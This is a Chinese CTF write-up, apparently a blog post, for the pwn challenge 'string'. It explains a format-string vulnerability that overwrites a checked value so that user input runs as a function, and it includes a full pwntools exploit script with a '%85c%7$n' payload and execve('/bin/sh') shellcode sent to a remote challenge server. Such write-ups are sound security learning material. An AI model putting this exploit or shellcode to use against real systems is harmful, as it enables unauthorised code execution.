string

checksec一下,开了canary,开了NX

image.png

拖进ida
image.png

image.png

image.png

image.png

image.png

image.png

好吧,思路错了,光想着打游戏了,通过大佬的博客https://www.jianshu.com/p/c502dd00aa29发现了
image.png

这一句是将v1强制转化为函数指针,然后调用这个函数,所以我们可以把shellcode写到v1里去,那么接下来就是要想方设法得跳到这个位置去,我们可以看到上面有个if语句
a1[0] == a1[1],往上翻我们知道a1就是前面的v4,v4=v3而v3[0] = 68,v3[1] = 85,所以我们要修改a1[0]为85,题目一开始给了我们的secret就是一个地址,就是a1的地址,而看到sub_400BB9函数,很明显有一个格式化字符串漏洞,可以进行任意地址写,所以我们需要先跳转到sub_400BB9函数调用printf,这一刻前面分析的游戏还是起到了用处
脚本:

#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
p = remote('111.198.29.45',52723)
p.recvuntil('secret[0] is')
addr = int(p.recvuntil("\n"),16) 
log.success("addr:"+hex(addr))
p.recvuntil('name be:\n')
p.sendline("y0ona")
p.recvuntil('or up?:\n')
p.sendline('1')
p.recvuntil("address'\n")
p.sendline(str(addr))
p.recvuntil('you wish is:\n')
payload = "%85c" + "%7$n"
p.sendline(payload)
#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 
p.recvuntil('USE YOU SPELL\n')
p.sendline(shellcode)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容